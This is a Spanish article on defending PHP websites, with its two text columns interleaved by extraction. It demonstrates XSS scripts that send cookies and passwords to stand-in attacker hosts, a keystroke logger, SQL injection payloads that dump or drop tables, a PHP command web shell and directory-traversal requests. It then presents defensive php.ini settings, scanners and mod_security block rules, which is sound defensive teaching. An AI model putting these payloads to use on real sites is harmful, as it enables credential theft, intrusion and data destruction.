1. Proteger nuestras webs PHP de ataques
Frederic Montes Quiles
frederic@phpauction.net
FDL Document
Abstract un HTML Injection, o incluyendo todo tipo de
Desde que se publicaron las primeras páginas ataques com SQL Injection, Remote File
webs, los adictos al fastidio, información o Inclusión y demás.
tiempo ajeno no han parado de realizar actos a Para ser un poco más genéricos y a la vez
través de los cuales se producían accesos exactos en nuestra terminología, vamos a
remotos con el fin de ver, modificar y borrar centrarnos en los “Ataques a nuestra web” y
contenidos remotos. Además, la suplantación listando los diferentes tipos de conocidos, sean o
hace que un usuario “inocente” se vea ante la no XSS.
posibilidad de que alguien en su nombre se tome
determinadas licencias que puedan ser
perjudiciales a terceros y por ende a éste mismo. HTML Injection
Últimamente este tipo de ataques se han SQL Injection
especializado y ya gozamos con una amplia Remote File Inclusion
clasificación de los mismos, encontrándonos con PHP Code Injection
terminología como XSS, SQL-Injection, RFI, PHP Traversal directories
Code injection, robo de cookies, ejecución Cross Frame Scripting
remota... El objetivo de este artículo es realizar LDAP Injection
un estudio más o menos completo de las Cookie Manipulation
diferentes formas de ataque y, lo más URL Redirection (cañas de pescar)
importante, cómo lograr evitarlas. Code Execution
...
Introducción
Como vemos existen muchas maneras de que
Según la wikipedia: nuestro servidor web sea sensible a todo tipo de
“XSS es un ataque basado en explotar ataques, algunos de ellos pueden derivar en un
vulnerabilidades del serio problema para los profesionales y
sistema de validación de HTML incrustado. Su particulares que ven así como parte de su
nombre original "Cross Site Scripting", y trabajo está destinado a resolver los problemas
renombrado XSS para que no sea confundido que se ocasionan.
con las hojas de estilo en cascada (CSS),
originalmente abarcaba cualquier ataque que
permitiera ejecutar código de "scripting", en el
contexto de otro dominio. “ Qué puede ocasionar
Se puede percibir a lo largo de la red cómo la Los ataques a la web, sea del tipo que sean,
definición de XSS va variando según quién pueden ocasionar toda serie de infortunios y
elabora un artículo, pasando de ser únicamente dolores de cabeza a los administradores de
2. sistemas, programadores y usuarios que lo solicitado, apoderándose de su cookie y, por lo
sufren, como por ejemplo la inyección de virus tanto, pudiéndose hacer pasar por él.
en las páginas, iframes ocultos que ejecutan
código arbitrario, ejecución de comandos del Aquí vemos un ejemplo de un “robador de
servidor (c99shell.php), troyanos de todo tipo, cookies” en PHP:
phishing, accesos no permitidos, lectura de <?php
contraseñas, ficheros remotos, suplantaciones, $cookie = $_GET['cookie'];
$f= fopen("archivo.txt","a");
visión de datos privados y sensibles e incluso,
fwrite($f, "$cookie n" ) ;
dependiendo de la ética del atacante, el borrado fclose($f)
de los datos. ;?>
Los atacantes suelen utilizar entre un 70 o 90% Ya vemos que en dicho fichero se guardará la
de los servidores para realizar un ataque a cookie de la víctima. Es más, podríamos hacerlo
terceros, sea mediante phising (envío de e-mails de una manera un poco más sutil y emplear un
y programas incrustados simulando una entidad iframe para hacerlo, así, cuando un usuario vea
bancaria), spam, o incluso D.O.S (Denegación de la página con nuestro código malicioso, no se
Servicio), y para ello utilizan toda una serie de enterará que su cookie va viajando a través de la
técnicas que procederemos a ver ahora. red a otro ordenador. Ajax también ofrece algún
tipo de herramientas para el “hacker” aunque las
Vulnerabilidades peticiones están restringidas a la propia web que
las contiene:
HTML Injection http://www.cgisecurity.com/ajax/
Empezaremos por meternos en la piel del
atacante que acaba de abrir un navegador y está Al primero de los ataques podríamos llamarlo no
a punto de ejercitar todo su empeño en buscar persistente, pues dicho link deberíamos
una vulnerabilidad en nuestro sistema. “pasarlo” a nuestros amigos para que pudieran
Una buena forma de intentarlo sería emplear el hacer uso de él. Al segundo, y más peligroso, se
buscador que casi todos los sites tienen. En el le llama persistente, pues el script maligno ya
campo de texto podríamos introducir el siguiente está publicado para todo el mundo, y el atacante
código: sólo tiene que sentarse a esperar.
<script>alert("Aqui hay un bug”);</script>
Si nos saliera una ventana de Javascript diciendo
“Aqui hay un bug” nos encontraríamos con la
primera vulnerabilidad en nuestro sistema.
Así pues, podríamos poner el siguiente:
<script>document.documentElement.innerHTML="HTML
nuevo”;</script>
Juguemos ahora un poco con la ingenuidad del
usuario medio:
<script language="javascript">
var password = prompt("La sesión ha terminado. Por
favor, vuelva a introducir su clave:");
document.location.href="http://elqueataca.hack/pesca.
php?passwd=" + password;
</script>
Con lo que ya tendríamos que dicha web podría
cambiar su contenido HTML desde nuestro O un poco más elaborado:
navegador. Obviamente con estos datos poco
podremos hacer, pero ya es una señal de que <script language="javascript">
var password = prompt("La sesión ha terminado. Por
algo bien no está programado en la web (o no favor, vuelva a introducir su clave:");
previsto). document.write("<iframe
Imaginemos ahora mismo que este mismo de src='http://elqueataca.hack/pesca.php?passwd=" +
error se puede encontrar en un foro con acceso password+"' style='display:none;'></iframe>");
</script>
al público, y donde se pudieran dar esta forma
de ataques:
Así, el usuario ha podido “darnos” su contraseña
<script>window.location='http://www.webataca.com/cook sin que se haya dado cuenta de lo que ha pasado.
ie.php?cookie='+document.cookie; </script>
Por supuesto el segundo método es mucho más
sutil y con grandes ventajas para el atacante.
En este momento ya estamos redirigiendo a
También podríamos usar un div oculto que nos
cualquier víctima a una página remota que no ha
3. enviara mediante POST y un distinguido
formulario con el aspecto de la página para que 1' OR 1=1 UNION SELECT * FROM Clientes WHERE id <> '
ya tengamos usuario/password y algún otro dato
más que necesitemos. Imaginemos el siguiente código PHP para este
buscador:
Así pues, vemos que con este tipo de ataques,
$q = $_GET['buscador'];
que pueden ser muchos y muy variados, $sql = “SELECT user FROM buscador WHERE q='$q'”;
dependiendo del ingenio del atacante, podremos
tener toda una serie de ventajas al poder En realidad estaremos ejecutando:
controlar Javascript a nuestro antojo y dejarlo
persistentemente en la máquina víctima. $sql = “SELECT user FROM buscador WHERE q='1' OR 1=1
UNION SELECT password FROM Clientes WHERE id <> ''”;
Básicamente, toda las variaciones de este ataque
pueden estar contenidas en un uso coordinado y Así que devolveremos todos los clientes al
eficaz del javascript y las propiedades DOM usuario. Por supuesto esta sentencia podríamos
(Document Object Model) para insertar, cambiarla por:
modificar o borrar elementos del HTML.
Manejando la captura de eventos, por ejemplo, 1' OR 1=1; DROP TABLE Clientes; SELECT * FROM datos
WHERE id LIKE '%
sería posible programar un sniffer que
acompañara al usuario por toda su visita a la Con lo que ya tenemos un borrado total de la
web, adueñándonos de cada evento de la tecla base de datos.
pulsada para guardarnos dicha tecla y, por ende, Nótese que las instrucciones mysql_query NO
usuarios, passwords, e-mails, datos personales... permiten este tipo de concatenación de
document.onkeydown = keyDown;
comandos con el fin de evitar este tipo de casos.
document.forms[0].onsubmit = mostrar;
var txt = ""; En este momento seguramente se estará
function keyDown (evento) pensando en cómo recuperar estos datos de la
{
// Recuperamos evento y tecla base de datos “datos”, “id”, “Clientes”. Bien,
var objEvento =window.event? event : evento; utilizando los mismos métodos es sencillo
var tecla = objEvento.keyCode? objEvento.keyCode : realizar un “sondeo” de lo que hay detrás,
objEvento.charCode;
introduciendo un comando incorrecto a
var caracter = propósito:
String.fromCharCode(tecla).toLowerCase();
if (tecla == 9) {caracter = " <tab> ";} mySQL error: You have an error in your SQL syntax;
if (objEvento.shiftKey) { check the manual that corresponds to your MySQL
caracter = server version for the right syntax to use near 'FROM
String.fromCharCode(tecla).toUpperCase(); Clients ORDER by id ' at line 1
}
textocapturado += "" + caracter; Eso sin contar la de veces que nos
}
encontraremos la Query SQL entera debido a
que el programador la muestra para saber de
dónde viene el error.
SQL Injection ' UNION ALL SELECT userid, CONCAT(username, ' ',
password) FROM Clients WHERE ''='
Una de las formas más habituales de programar
una web es teniendo una base de datos que nos En esta sentencia, podemos apoderarnos del
ofrezca una forma eficaz de guardar datos usuario y password (si es que no se ha tenido la
persistentemente, ofreciéndonos los beneficios decencia de encriptarlo con un algoritmo
de las bases de datos relacionales, las ventajas unidireccional) para poder entrar con los que
de un meta lenguaje sencillo y una interfaz para necesitemos.
realizar todo tipo de operaciones complejas.
Es por el hecho de que la base de datos sea el Especial caso nos merece las siguientes
lugar más común donde guardar los datos de un secuencias de código que no incluyen un “quote”
aplicativo, desde los menos sensibles: contenido o comilla simple o doble para introducir código.
visible, mensajes de texto, países, categorías,
etcétera, a los más sensibles: usuarios, 0 UNION ALL SELECT userid, CONCAT(username, ' ',
contraseñas, e-mails, cuentas corrientes, VISA,.. password) FROM Clients WHERE 1
Lo que nos lleva a rechazar el uso un sistema de
El ataque típico de SQL Injection se basa en un escape para las comillas, al menos ya vemos que
principio muy similar al del HTML Injection: no es el único sistema. En el siguiente ejemplo,
aprovechar la incorrecta manipulación de los podemos ver cómo utilizar la inyección de datos
parámetros por parte de alguna aplicación web y utilizando la propiedad de MySQL LIMIT:
saltarse la seguridad ejecutando código no
o=999999, 10 UNION ALL SELECT username, password FROM
deseado en nuestra web. Clients LIMIT 0
Imaginemos una base de datos llamada “Site” y Una vez superados estos SQL “sencillos”,
una tabla llamada clientes. Si aprovechamos las deberíamos empezar a preocuparnos por otro
vulnerabilidades de un buscador e incluimos lo tipo de SQL Injecton que, no sólo nos leerá,
siguiente en el campo de búsqueda modificará o borrará datos de nuestro sistema, si
4. no que además podrá leer ficheros, modificarlos, estado establecido como request_globals = on,
e incluso adueñarse de contraseñas que, por un atacante podría realizar:
defecto, no están encriptadas, como la del
usuario de la base de datos. http://www.victima.org/?
include_path=http://www.maligno.com/rfi.php??
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
Con lo que nuestro /config.inc.php se quedaría
Este ejemplo nos va a leer nuestro fichero en un triste método GET, y el código que se
c:boot.ini utilizaría sería el que el ser malvado haya ideado
Podríamos tener ejemplos de este estilo: para sus negros propósitos.
SELECT * INTO OUTFILE '/tmp/clients.txt' FROM Clients
Code Injection
Y de la misma forma rellenar ese fichero con los
En el caso de PHP, por supuesto, el más famoso
datos que nosotros queramos
resulta de una mala utilización de la sentencia
SELECT 0x61626... INTO OUTFILE '/tmp/c99shell.php' eval()
$myvar = "varname";
Remote File Intrusion $x = $_GET['arg'];
eval("$myvar = $x;");
$ mivar = "varname",
Según esta última sentencia SQL, nuestro site $x = $ _GET [ 'arg'];
está totalmente expuesto a la inyección de eval ( " $ myvar = $ x;");
ficheros para la ejecución remota. Un ejemplo
muy extendido es el del c99shell.php (que no Donde un usuario podría fácilmente introducir
siempre lo encontraremos con ese nombre por un phpinfo(), un exec(), fopen(),
razones obvias), y cuyo código puede verse en: file_get_contents() o cualquier tipo de comando
PHP que pudiera destinarse a sus intenciones.
http://hcr.3dn.ru/expl/php/c99shell.txt
También podemos encontrar ficheros del Traversal Directories
siguiente tipo:
http://hcr.3dn.ru/expl/php/r57shell.txt Este popular sistema es muy similar (de hecho
podríamos decir que es un subconjunto) al
Este tipo de ficheros conforman lo que se llaman Remote File Inclusión; dicha técnica se basa en
los Remote File Intrusion, o lo que es lo mismo, la situación que se deriva de utilizar include,
la intrusión mediante ficheros remotos. Es decir, include_once, require, require_once sin cuidado:
un fichero que no tenemos controlado se ha
colado en nuestro servidor, y, como en el caso de http://www.victima.org/show.php?
c99shell.php, puede realizar un examen view=../../../../../etc/passwd
exhaustivo de nuestro servidor, hacer uploads,
navegar por directorios, con lo que esa pequeña Nos mostraría el contenido de nuestro fichero de
puerta ya nos ha abierto la posibilidad de passwords.
phishing, virus, troyanos y demás.
En otro ejemplo muy similar, pero utilizando una
El típico RFI que nos podemos encontrar podría conexión telnet para enviar las cabeceras
tener un aspecto como el que sigue: adecuadas:
<? <?php
$cmd = $_GET['cmd']; $template = 'blue.php';
system('$cmd >> /var/www/resultado.txt'); if ( isset( $_COOKIE['TEMPLATE'] ) )
?> $template = $_COOKIE['TEMPLATE'];
include ( "/var/www/appl/templates/" . $template );
?>
Tan fácil como pasarle un comando por variable
GET:
GET /vulnerable.php HTTP/1.0
http://www.victima.org/rfi.php?cmd=ls -al e Cookie:
ir a resultado.txt (el document_root de la página TEMPLATE=../../../../../../../../../etc/passwd
web, para ver cuál ha sido el resultado de
nuestras perversiones.
Así la respuesta sería, de nuevo, el fichero de
passwords de nuestro sistema *NIX.
Una maléfica forma de realizar un RFI es
Para evitar que dichos ataques sean
empleando uno de los métodos más conocidos
contrarrestados con aparente facilidad, los
por PHP para incluir ficheros remotos:
atacantes podrían emplear las siguientes
include, require, include_once, require_once.
variaciones:
Eso, combinado con una incorrecta
configuración de nuestro servidor podría dar %2e%2e%2f -> ../
lugar a líneas de código tan espantosas como: %2e%2e%5c -> ..
include $path_url. '/config.inc.php';
Digo espantosas, porque si nuestro servidor ha
5. Evitar ataques siendo cada vez menos efectivo, pero es un
obstáculo más para los atacantes.
La lista de los ataques mencionados
anteriormente puede crecer conforme uno va
investigando por Internet y la lista sería
interminable. Cada uno de los ataques se van
sucediendo a través de aplicaciones web, siendo
éstos casi imposibles de neutralizar al cien por
cien. Una buena forma de proteger nuestros sites de
HTML Injection sería utilizando la clase HTML
En este escenario, podríamos encontrarnos con Purify (http://htmlpurifier.org/) donde
dos situaciones bien diferentes: podremos “limpiar” nuestro código de posibles
Tener un site montado y tener que intrusiones maliciosas, al a vez que verificar que
protegerlo el mismo código aceptado se adecue a los
Programar un site desde cero estándares XHTML. Al mismo tiempo, esta clase
tiene la particularidad de que se pueden
En ambos casos, un conocimiento más o menos “extender” sus métodos para permitir nuevos
exhaustivo de las técnicas empleadas por los HTML en un formato concreto (por ejemplo
hackers serán apreciadas por vuestro servidor Youtube).
de manera inconmensurable, así como la
suscripción a newsletter o websites dedicados a Otra buena forma sería mediante una lista de
la seguridad, donde se establecen los diferentes tipos esperados y tipos recibidos, haciendo una
ataques a aplicaciones conocidas, parches comparación de los parámetros recibidos, ya sea
nuevos al lenguaje de programación, al sistema por GET o POST, y que éstos coincidan: si
operativo, al servidor web. esperamos un Int y recibimos un String, lo más
En todo caso, la actualización constante de los probable es que algo malo esté sucediendo ahí:
sistemas nos evitará una gran pérdida de tiempo $id = intval ($_GET['id']);
ulterior al encontrarnos con que nuestro sistema
ha sido agujereado por una rencilla descubierta Tener especial cuidado con la inclusión de
al tener una versión antigua de nuestro entorno. código mediante variables también es una buena
práctica.
Mientras que:
Escape de las entradas
include ( “/var/www/”. $template )
Para muchos la manera ideal de proteger un site.
puede darnos lugar a experiencias no gratas, una
Como ya hemos visto en alguno de los casos no
programación de este tipo:
nos es útil.
switch ( $include )
Los más habituales son el uso de: {
case “pink”:
addslashes() / stripslashes() include ( “/var/www/pink/index.html”);
htmlentities($string, ENT_QUOTES) break;
htmlspecialchars() case “yellow”:
include ( “/var/www/yelloww/index.html”);
mysql_real_string() break;
default:
Teniendo activadas las magic_quotes_gpc en die (“Template no existente”);
nuestro php.ini, que nos pondrá por defecto un }
slash en todos los strings (evitando los tediosos
addslashes()) En todo caso, y para evitar largas listas de
switch, if y demás, podríamos comprobar que
En todo caso, el uso de dichos elementos nos primero existe el fichero:
podrá salvar de muchos de los ataques.
Evitar, salvo en casos necesarios, que los $template = str_replace(“..”, “”, $template);
formularios POST se llamen desde otro dominio if (file_exists ( “/var/www/”. $template ))
include ( “/var/www/”. $template )
que no sea el del propio servidor. En este caso,
nos evitaremos que un atacante avezado utilice
un script a tal efecto para ir bloqueando nuestro
servidor y llenándolo de datos inútiles. Códigos de seguridad
Un invento antiguo para evitar los ataques de
bots, sería la utilitzación el sistema Captcha Otra de las medidas efectivas contra la ejecución
indiscriminada de pruebas mediante bots sería la
introducción de códigos de seguridad que
“Completely Automated Public Turing test to
nosotros, mediante programación, podemos ir
tell Computers and Humans Apart (Prueba de
asignando a cada par usuario/formulario. Así, si
Turing pública y automática para diferenciar a
el código de seguridad, que expirará al cabo de
máquinas y humanos). “ - Wikipedia
un tiempo, no coincide con el que recibimos, es
obvio que nos encontramos con un ataque en
Que es la famosa imagen que nos encontramos
toda regla.
deformada (ilegible a veces) para que ningún bot
pueda leerla. Eso, con el paso del tiempo, viene
6. comandos sensibles que no queremos (y no
PHP.INI debemos) utilizar:
¿Qué clase de configuración sería la óptima para disable_functions <lista de funciones>
que un sistema PHP fuera más seguro contra disable_classes <lista de clases>
todo tipo de ataques?
Es obvio que la panacea no está en encontrar un
sistema de directivas globales, pero sí que nos
pueden ayudar en la consecución de dificultar
dichos ataques. Escaneo de puertos
Estas directivas serían: Una manera de evitar ataques a todo sistema
operativo, ya sea mediante web o mediante
cualquier otro tipo de vulnerabilidad, sería
openbase_dir mediante la ejecución de código remoto o
Esta directiva bien configurada evitará los inyección de código no deseado en servicios que
ataques trasversal directories, debido a que puedan tener relación con nuestro sistema.
limita ejecución de ficheros al entorno que
escojamos. Para ello se recomienda ejecutar un escaneo de
puertos de nuestra máquina (no únicamente
allow_furl_open off puerto 80-http o 443-SSL) para averiguar las
Es importante que esta directiva esté en OFF posibles vulnerabilidades o exploits que puedan
para evitar Remote File Inclusion, ya que la afectar a nuestro sistema y servidor web:
inhabilitación de esta directiva no permitirá a la
aplicación hacer include remotos. Los más conocidos son nmap y nessus.
El funcionamiento de nmap puede llegar a ser
register_globals off sencillo, aunque tiene un despliegue de opciones
Como ya hemos explicado, quizá la más maléfica que de buen seguro mucha gente encontrará
(y obsoleta) forma de que nuestros atacantes interesante.
desplieguen todo su potencial es mediante esta Una ejecución de este programa puede dar lugar
directiva activada. Es decir, cualquier parámetro a un resultado como este:
que nos venga por POST o GET puede ser una
variable potencialmente peligrosa en nuestro Starting Nmap 4.53 ( http://insecure.org ) at
20080603 12:05 CEST
aplicativo. Así, cualquier parámetro externo se Interesting ports on 192.168.1.1:
tratará de forma cuidad con $_GET['param'], Not shown: 1711 closed ports
$_POST['param'], $_FILES['param'] para PORT STATE SERVICE
21/tcp open ftp
establecer qué tipo de variables son externas y 23/tcp open telnet
cuáles no. No se recomienda, a no ser que se 80/tcp open http
tenga muy claro qué se está haciendo, el uso de MAC Address: 00:02:CF:81:6F:89 (ZyGate
$_REQUEST, pues ahí puede entrar 'cualquier Communications)
cosa' que nos venga externamente, y fácilmente
Nessus, en cambio, nos ofrecerá una
podrían introducirnos valores no esperados.
herramienta cliente/servidor que utilizará una
base de datos con las vulnerabilidades que
safe_mode on
estadísticamente han podido ocasionar
Esta directiva activada evitará la ejecución de
“desastres” y nos avisa mediante este escaneo.
algunos comandos potencialmente dañinos en
La interfaz, además, es bastante más amigable y
nuestro sistema, además del chequeo de ciertas
nos mostrará unas estadísticas de los procesos
funciones que puedan considerarse delicadas.
ejecutados.
Una lista de dichas funciones puede encontrarse
aquí:
Escaneo de vulnerabilidades web
http://es.php.net/manual/en/features.safe-
mode.functions.php Más en consonancia con el objetivo de este
artículo, están los escaneos de vulnerabilidades
Hay que tener en cuenta que esta directiva propiamente web.
también desaparece en la versión PHP 6.x
Estos escaneos se pueden basar en varias
Especial atención merecen también las premisas, empleando sistemas de conocimiento,
directivas “safe_mode*” que componen la familia funciones heurísticas e incluso técnicas fuzz, que
safe mode: veremos más adelante.
safe_mode_gid Una buena combinación de estos elementos
safe_mode_include_dir puede darnos muchas pistas a la hora de
safe_mode_exec_dir proteger nuestro site y llegar donde nosotros no
safe_mode_allowed_env_vars alcanzamos.
safe_mode_protected_env_vars
Empecemos por los escaneadores automáticos
Por último, unas funciones que, según la más empleados y populares.
casuística de nuestro aplicativo pudiera
evitarnos algún susto por la ejecución de
7. práctica de traversal directories.
Acunetix
PHP IDS
Acunetix, que goza de una versión Free Edition
(sólo para HTML Injection), pero con una gran http://php-ids.org/
variante de sistemas de inyección, una base de
datos amplia y una interfaz muy amigable. PHP-IDS es un sistema basado en PHP que actúa
Los procesos por los que puede “atacarse” como IDS (Intrusion Detect System) y que se
pueden ser varios y los perfiles de ataque – si se aplica a todos nuestros archivos buscando algún
tiene la versión de pago – de los más variopintos, tipo de inyección o vulnerabilidad.
muchos de ellos ya los hemos visto aquí.
Puede detectar desde XSS, SQL Injection, RFI y
ataques LDAP Injection y tiene incluso hasta
SSS (Shadow Security Scanner) módulos especializados para distintos tipos de
CMS.
Similar al anterior en cuanto a sistema web
(quizá no tan completo) pero que ofrece también
el sondeo de otros protocolos como FTP, Módulos Apache
NetBios, módulos de Apache del que se tengan
constancia que hay vulnerabilidades. De entre ellos, existen muchos que nos pueden
ayudar a nuestro cometido, aunque nos
Técnicas Fuzz centraremos en los siguientes:
Se llama fuzzing a las diferentes técnicas de mod_rewrite
testeo de aplicativos que generan datos Famoso sobre todo para el uso de URL-Friendly,
secuenciales y aleatorios para obtener así las pues reescribe la entrada transformándola en
vulnerabilidades de la victima. Este sistema de otras “Human readibility”.
testeo puede ser muy potente pues combina la Personalmente recomiendo el uso de
aleatoriedad en los ataques con ataques basado mod_security, debido a que mod_rewrite tiene
en formatos heurísticos. lógicas limitaciones al no ser un módulo
diseñado a tal efecto.
Una lista de estos potentes escaneadores de
vulnerabilidades pueden encontrarse en: No obstante, con este módulo se pueden realizar
cosas interesantes, aunque limitándonos a
parámetros GET.
http://www.infosecinstitute.com/blog/2005/1 Así, exponiendo el .htaccess que utiliza una de
2/fuzzers-ultimate-list.html las aplicaciones que estoy realizando:
<ifModule mod_rewrite.c>
Un ejemplo lo podemos tener ejecutando el Options +FollowSymlinks
WebFuzzer, con licencia GPL, escrito en C: RewriteEngine On
RewriteCond %{QUERY_STRING} load_file.*(.*) [NC,OR]
RewriteCond %{QUERY_STRING} into.+file [NC,OR]
http://gunzip.altervista.org/g.php? RewriteCond %{QUERY_STRING} into.+outfile [NC,OR]
RewriteCond %{QUERY_STRING} load.+data [NC,OR]
f=projects#webfuzzer RewriteCond %{QUERY_STRING} select.+from [NC,OR]
RewriteCond %{QUERY_STRING} create.+table [NC,OR]
RewriteCond %{QUERY_STRING} drop.+database [NC,OR]
./webfuzzer P http://192.168.1.100/v4 o logfile.txt RewriteCond %{QUERY_STRING} drop.+database [NC,OR]
sd RewriteCond %{QUERY_STRING} drop.+table [NC,OR]
RewriteCond %{QUERY_STRING} drop.+column [NC,OR]
RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR]
RewriteCond %{QUERY_STRING} update.+set [NC,OR]
Que puede generar una respuesta (de varias RewriteCond %{QUERY_STRING} insert.+into.+values
[NC,OR]
líneas) similar a esto: RewriteCond %{QUERY_STRING} insert.+into [NC,OR]
RewriteCond %{QUERY_STRING} bulk.+insert [NC,OR]
* (POST) http://192.168.1.100/v4/login/?goto=/v4/ RewriteCond %{QUERY_STRING} union.+select [NC,OR]
&security=7cddf4f40846fc58411d15d73be3c80c&password=p RewriteCond %{QUERY_STRING} alter.+table [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*(.*)
assword&user=../../../../../../../../../etc/ [NC,OR]
services%00 [N] (HTTP/1.1 302 Found) RewriteCond %{QUERY_STRING} .txt(?)+$ [NC,OR]
(POST) http://192.168.1.100/v4/? RewriteCond %{QUERY_STRING} (?)+$ [NC,OR]
goto=/v4/&security=7cddf4f40846fc58411d15d73be3c80c&p RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E)
assword=password&user=../../../../../../../.. [NC,OR]
/../etc/services%00 [N] (HTTP/1.1 200 OK) RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[09AZ]
{0,2}) [OR]
* (POST) http://192.168.1.100/v4/login/?goto=/v4/ RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[09AZ]
&security=7cddf4f40846fc58411d15d73be3c80c&password=p {0,2})
assword&user=.../...//.../...//.../...//.../...//.../ RewriteRule .* [F]
...//.../...//.../...//.../...//.../...//.../...//etc
/services%00 [N] (HTTP/1.1 302 Found) RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|
(POST) http://192.168.1.100/v4/? HEAD)
RewriteRule .* [F]
goto=/v4/&security=7cddf4f40846fc58411d15d73be3c80c&p
assword=password&user=.../...//.../...//.../...//.../ RewriteCond %{HTTP_USER_AGENT} libwwwperl [NC,OR]
...//.../...//.../...//.../...//.../...//.../...//... RewriteCond %{HTTP_USER_AGENT} Indy Library [NC]
/...//etc/services%00 [N] (HTTP/1.1 200 OK) RewriteRule .* [F]
</IfModule>
Ya se puede observar que en el ejemplo
mostrado, el escaneo se estaba centrando en la
8. SecFilter "^HEAD (http|https|ftp):/"
#Proxy POST Request
En el ejemplo, que puede utilizarse de forma SecFilter "^POST (http|https|ftp):/"
#Proxy CONNECT Request
libre, mejorar y publicar sus mejoras de la SecFilterSelective THE_REQUEST "^CONNECT "
manera que se desee, vemos que compara la
query_string con un selección de algunos # Sólo los siguientes content filter
ataques SQL Injection, HTML Injection, la SecFilterSelective HTTP_ContentType "!(^application/xwww
formurlencoded$|^multipart/formdata;)"
limitación de los métodos en los que se puede
acceder a la web (REQUEST_METHOD) e incluso # No aceptamos un contentlentgh de un método GET o HEAD
SecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" chain
el bloqueo de algunos USER_AGENT que se SecFilterSelective HTTP_ContentLength "!^$"
utilizan con profusión en ciertos ámbitos de
# Restringimos los métodos que se usarán
hackers, como son las librerías Perl. SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST)$"
# Sólo las versiones normales
Por supuesto, hay ciertas desventajas, como es la SecFilterSelective SERVER_PROTOCOL "!^HTTP/(0.9|1.0|1.1)$"
de que no se puede utilizar en el mismo
# Requerimos el contentlength en todos los POSTS
directorio que un phpMyAdmin, por ejemplo, que SecFilterSelective REQUEST_METHOD "^POST$" chain
contendría un .htaccess diferente: SecFilterSelective HTTP_ContentLength "^$"
# Restringimos los transferEncoding
<IfModule mod_rewrite.c> SecFilterSelective HTTP_TransferEncoding "!^$"
RewriteEngine Off
</IfModule> ## PHP attacks
SecFilterSignatureAction "log,deny,msg:'PHP attack'"
# Posible código intrusivo
Tampoco están contemplados los métodos POST, SecFilterSelective ARGS_NAMES "^php:/"
debido a las limitaciones antes comentadas.
## SQL Injection Attacks
mod_security SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"
# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[::space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1'"
SecFilterSelective ARGS "'.+"
# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
Un módulo especial de seguridad para Apache, SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/*.+*/"
pero que tiene el inconveniente de que no está
muy extendido su uso, y por lo tanto, muchos
## Command execution
proveedores de hosting optan por no instalarlo
en sus sistemas. SecFilterSignatureAction "log,deny,msg:'Command execution
attack'"
# Los comandos que suelen utilitzarse en el sistema y no
Un buen sistema de protección de datos basado queremos que se utilicen
SecFilterSelective ARGS_VALUES "^(uname|id|ls|rm|kill)"
en mod_security podría ser el que sigue: SecFilterSelective ARGS_VALUES "^(ls|id|pwd|wget)"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
<IfModule mod_security.c>
# Encendemos el aparato
SecFilterEngine On Existen diferentes técnicas que se utilizan en
# Filtramos también los métodos POST dicho módulo y que se resumen en:
SecFilterScanPOST On
SecFilterCheckURLEncoding On
SecFilterCheckUnicodeEncoding Off Filtrado de peticiones con SecFIlter
# Aceptamos los códigos byte del 1 al 255
Verificación de los rangos, para evitar los
SecFilterForceByteRange 1 255 llamados shellcodes vistos más arriba.
# Ocultamos nuestro server a las respuestas HTTP
Técnicas antievasion: las rutas son
SecServerSignature "Mocosoft server" normalizadas
#SecUploadDir logs Acceso a los métodos POST con
#SecUploadKeepFiles Off SecFilterScanPOST
# Almacenar sólo los logs relevantes
SecAuditEngine RelevantOnly
SecAuditLog logs/sec.log
Como podemos ver en el ejemplo anterior,
## Common attacks nuestro sistema está asegurado contra multitud
SecFilterDefaultAction "deny,log,msg:'Common de ataques y vías de acceso.
attacks',status:403" Incluso podemos enmascarar nuestro servidor y
#Web Proxy GET Request que responda con otro nombre para despistar a
SecFilter "^GET (http|https|ftp):/" nuestro atacante, a la par de que los comandos
#Web Proxy HEAD Request
9. POST también son tratados y, en general, todas Enlaces de interés
las cabeceras y todos los ataques comunes
pueden ser rechazados. http://ha.ckers.org/xss.html
http://www.hardened-php.net
http://www.securityfocus.com/vulnerabilities
Conclusión http://www.websecurity.es/
http://www.webappsec.org/
Hasta aquí hemos revisado los ataques más http://phpsecurity.wordpress.com/
comunes que pueden inundar nuestros http://www.elhacker.net/
servidores, nuestras aplicaciones PHP y http://www.infosecinstitute.com/blog/2005/12/fuz
servidores web en general. zers-ultimate-list.html
http://google.dirson.com/post/3632-coleccion-
No hay ninguna aplicación que no haya vulnerabilidades-xss-aplicaciones/
sucumbido ante el ejercicio –a veces altruista y http://www.squarefree.com/securitytips/web-
ético– de hackers que, sin piedad, han puesto developers.html
nuestro sistema en jaque y sacado los colores al http://www.cgisecurity.com/ajax/
ver de qué manera nos han podido buscar la http://www.onlamp.com/pub/a/apache/2003/11/2
vuelta; desde Google, Yahoo!, Amazon, hasta los 6/mod_security.html
CMS más conocidos de los que contínuamente http://www.securityfocus.com/
siguen apareciendo bugs y vulnerabilidades, http://www.securityfocus.com/columnists/418
ninguno está a salvo de la retorcida mente de
estos individuos.
Un sistema ya desarrollado nos pone en una
tesitura muy complicada, debido a que hay que
verificar línea a línea los problemas que puedan
tener, las vulnerabilidades potenciales y el
entendimiento del código.
No es un caso trivial tener que proteger un site
web, tanto si ya está hecho como si lo tenemos
que desarrollar de nuevo. La única forma de
